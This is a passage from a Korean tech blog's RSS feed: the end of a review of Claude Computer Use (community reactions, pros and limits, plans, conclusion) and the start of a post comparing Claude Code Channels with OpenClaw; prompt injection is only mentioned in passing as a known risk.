&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;보안 연구자들은 &quot;Computer Use처럼 AI가 실제 시스템을 제어할수록 프롬프트 인젝션의 파급력이 커진다&quot;고 경고했다. Anthropic은 classifiers와 safeguards를 통해 이를 완화하고 있으나, 공격 기법은 계속 진화하는 만큼 주의가 필요하다.&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Oasis Security 블로그, 2026.3.18)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 한국 커뮤니티 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 커뮤니티&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;국내 테크 미디어:&lt;/b&gt; AI타임스, ZDNet 코리아 등에서 기능 소개 기사가 나왔으며, 전반적으로 &quot;실험적 사용에는 적합하나 기업 프로덕션 수준은 아직&quot;이라는 톤&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클리앙 등 커뮤니티:&lt;/b&gt; Max 플랜(월 $200, 약 30만원)의 사용량 정책에 대한 비판. &quot;하루에 여러 번 짧게 쓰면 월 중순에 한도 도달&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전반적 기대감:&lt;/b&gt; 빌 게이츠의 &quot;5년 안에 컴퓨터 사용 방식이 바뀐다&quot;에 대해 &lt;b&gt;&quot;5년도 길다&quot;&lt;/b&gt;는 반응&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Threads: 하입 vs 현실 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 종합 장단점 표 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시장 반응 종합 &amp;mdash; 장점과 한계&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: center; font-weight: 600; width: 50%;&quot;&gt;장점 (실사용자 기반)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: center; font-weight: 600; width: 50%;&quot;&gt;한계 (실사용자 기반)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Dispatch로 폰 &amp;rarr; Mac 원격 작업 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;macOS 전용 (Windows&amp;middot;Linux 미지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;파일 자체는 Mac 밖으로 나가지 않음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;스크린샷은 Anthropic 서버 전송 (개인정보 주의)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;테스트 실행, PR 작성 등 반복 작업 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;토큰 소모가 일반 대화의 10~20배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;지시 언어 자유롭고 자연어로 충분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;팝업&amp;middot;CAPTCHA 등 예외 상황에서 자주 멈춤&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;복잡한 멀티앱 워크플로우 연결 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;직접 작업보다 느린 경우 많음 (스크린샷 루프)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Permission-First 설계로 기본 안전성 확보&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;프롬프트 인젝션 등 보안 위협 여전히 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;오픈소스 파생 프로젝트 생태계 형성 중&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;복잡한 작업은 여러 번 재시도 필요, 아직 완전 자율 에이전트 수준 아님&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;위 내용은 커뮤니티 사용자 경험을 종합한 것이며, 개인 환경에 따라 다를 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 구독 플랜 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 구독 플랜&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 다음 구독 플랜에서 사용할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 소모 참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 매 동작마다 스크린샷을 캡처하고 분석하기 때문에, 일반 텍스트 대화보다 토큰 소모가 크다. Pro 플랜의 사용량 한도가 평소보다 빠르게 소진될 수 있으므로 참고하자.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Computer Use&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Dispatch&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Free&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;Pro&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&amp;nbsp;(리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;Max&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O (리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Team / Enterprise&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&amp;nbsp;(Computer Use 기능은 Pro/Max 전용)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&amp;nbsp;(Cowork 앱 자체는 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Computer Use는 &quot;말만 잘하는 AI&quot;에서 &lt;b&gt;실제로 화면을 조작해서 일을 처리하는 AI&lt;/b&gt;로 넘어가는 시도이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 내용:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 우선, 화면 제어 폴백:&lt;/b&gt; Slack이나 Calendar 같은 커넥터가 있으면 먼저 사용하고, 없으면 화면을 직접 제어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Dispatch와의 시너지:&lt;/b&gt; 폰에서 지시하면 Mac의 Claude가 화면을 띄워 작업 수행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OSWorld 72.5%:&lt;/b&gt; 인간 수준(72.36%, OSWorld 공식)에 접근하는 벤치마크 성능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Permission-First:&lt;/b&gt; 앱별 승인, 즉시 중단, 프롬프트 인젝션 방어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;아직 초기 단계:&lt;/b&gt; macOS 전용, 복잡한 작업은 재시도 필요, 화면 기반이라 느림&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;리서치 프리뷰&quot;로 낸 건 의도적이다. 완벽해질 때까지 기다리기보다, &lt;b&gt;실제 사용자한테 부딪혀보면서 고치겠다&lt;/b&gt;는 방식이다. Cowork도 그렇게 시작했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;빈 책상 위 컴퓨터가 혼자 화면을 띄우고 일하는 광경은 확실히 인상적이다. 다만 지금 당장은 &lt;b&gt;믿을 수 있는 앱에서, 민감하지 않은 작업&lt;/b&gt;부터 시도해보는 게 맞다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;공식 블로그:&lt;/b&gt; claude.com/blog/dispatch-and-computer-use (2026.3.23)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;제품 페이지:&lt;/b&gt; claude.com/product/cowork&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Vercept 인수:&lt;/b&gt; anthropic.com/news/acquires-vercept&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Computer Use 개발 과정:&lt;/b&gt; anthropic.com/news/developing-computer-use&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;안전 가이드:&lt;/b&gt; support.claude.com/en/articles/14128542&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 데스크탑 에이전트</category>
      <category>AI 화면 제어</category>
      <category>Anthropic</category>
      <category>Claude Computer Use</category>
      <category>claude cowork</category>
      <category>Claude Dispatch</category>
      <category>Computer Use</category>
      <category>맥 자동화</category>
      <category>클로드 Pro Max</category>
      <category>클로드 컴퓨터 사용</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/560</guid>
      <comments>https://goddaehee.tistory.com/560#entry560comment</comments>
      <pubDate>Wed, 25 Mar 2026 00:22:48 +0900</pubDate>
    </item>
    <item>
      <title>Claude Channels vs OpenClaw - 텔레그램으로 Claude Code 제어하기(Anthropic이 OpenClaw에 선전포고?)</title>
      <link>https://goddaehee.tistory.com/559</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 20일, Anthropic이 Claude Code &lt;b&gt;v2.1.80&lt;/b&gt;에 &lt;b&gt;Channels&lt;/b&gt;를 리서치 프리뷰로 추가했다. 이어서 v2.1.81에서 Permission Relay까지 더해졌다. 텔레그램이나 디스코드에서 메시지를 보내면 로컬에서 돌아가는 Claude Code 세션이 그 메시지를 받아 코드를 작성하고, 같은 채팅 앱으로 결과를 돌려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;커뮤니티에서는 이를 두고 &lt;b&gt;&quot;OpenClaw 킬러&quot;&lt;/b&gt;라고 부른다. 이미 24만 7천+ 스타(3월 초 기준)를 찍은 오픈소스 프로젝트 OpenClaw가 개척한 영역에 Anthropic이 공식적?? 본격적?? 으로 뛰어든 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvD54i%2FdJMcaf0gbT9%2Fj6PUkco8J1SzdfM8rjxPGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 이 두 가지를 직접 비교해보려 한다. 공식 문서 기반으로 아키텍처, 보안, 셋업, 지원 플랫폼과 관련된 내용을 알아보자.&amp;nbsp;&lt;/p&gt;
&lt;!-- X(트위터) 공식 영상 --&gt;
&lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
&lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2034761016320696565&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Channels란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channel = MCP 서버&lt;/li&gt;
&lt;li&gt;Push vs Pull 패러다임&lt;/li&gt;
&lt;li&gt;One-way vs Two-way 채널&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenClaw란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탄생 배경과 성장&lt;/li&gt;
&lt;li&gt;서버 기반 Always-on 아키텍처&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;아키텍처 비교: 근본적인 차이
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channels: 로컬 MCP 이벤트 수신&lt;/li&gt;
&lt;li&gt;OpenClaw: 서버 기반 상시 실행&lt;/li&gt;
&lt;li&gt;핵심 차이점 비교표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channels: Pairing Code + Allowlist&lt;/li&gt;
&lt;li&gt;OpenClaw: 커뮤니티 기반 + 보안 이슈&lt;/li&gt;
&lt;li&gt;보안 비교표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지원 플랫폼 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Channels 셋업 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요구사항&lt;/li&gt;
&lt;li&gt;Telegram 설정 (5분)&lt;/li&gt;
&lt;li&gt;Discord 설정 (10분)&lt;/li&gt;
&lt;li&gt;Fakechat으로 로컬 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커스텀 채널 만들기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Webhook Receiver 예제&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 사용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MacStories의 런치 나이트 테스트&lt;/li&gt;
&lt;li&gt;Permission Relay: 원격 승인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항과 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 실전 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자 반응 하이라이트&lt;/li&gt;
&lt;li&gt;실전 팁 7가지&lt;/li&gt;
&lt;li&gt;커뮤니티 프로젝트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 어떤 것을 선택할까&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Channels란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Channels란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code Channels&lt;/b&gt;는 2026년 3월 20일 v2.1.80에서 &lt;b&gt;리서치 프리뷰&lt;/b&gt;로 출시되었고, 이어서 v2.1.81에서 Permission Relay가 추가된 Anthropic 공식 기능이다. 핵심은 간단하다 &amp;mdash; &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;외부 시스템의 이벤트를 실행 중인 Claude Code 세션에 밀어 넣는 것&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub Releases&lt;/a&gt; &amp;mdash; v2.1.80 changelog: &quot;Added --channels (research preview)&quot;, v2.1.81 changelog: &quot;Added --channels permission relay&quot;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1a3a52; font-size: 20px; font-weight: 600; letter-spacing: -1px; font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;Channel = MCP 서버&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channel의 정체는 &lt;b&gt;MCP(Model Context Protocol) 서버&lt;/b&gt;다. MCP는 외부 도구와 데이터 소스를 LLM에 구조적으로 연결하기 위한 오픈 표준 프로토콜이다. Claude Code와 같은 머신에서 실행되며, stdio를 통해 통신한다. Claude Code가 이 서버를 서브프로세스로 스폰하고, 채널은 외부 시스템과 Claude Code 세션 사이의 다리 역할을 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 정의를 그대로 옮기면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;A channel is an MCP server that pushes events into a Claude Code session so Claude can react to things happening outside the terminal.&quot;&lt;br /&gt;(Channel은 MCP server로, Claude Code session 안으로 event를 push해서 terminal 바깥에서 일어나는 일에도 Claude가 반응할 수 있게 해주는 기능입니다.)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;채널 서버가 되기 위해 필요한 세 가지 조건:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude/channel&lt;/code&gt; capability를 선언하여 Claude Code가 알림 리스너를 등록하게 한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;notifications/claude/channel&lt;/code&gt; 이벤트를 발생시킨다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;stdio 트랜스포트&lt;/b&gt;로 연결한다 (Claude Code가 서브프로세스로 스폰)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 공식 문서 내용 캡쳐&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;978&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; data-alt=&quot;(출처:&amp;amp;nbsp; Channels reference - Claude Code Docs )&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl6U3I%2FdJMcahX5OIc%2FONqiCXVpbYkkF7aOLnZAVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;978&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;978&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(출처:&amp;nbsp; Channels reference - Claude Code Docs )&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
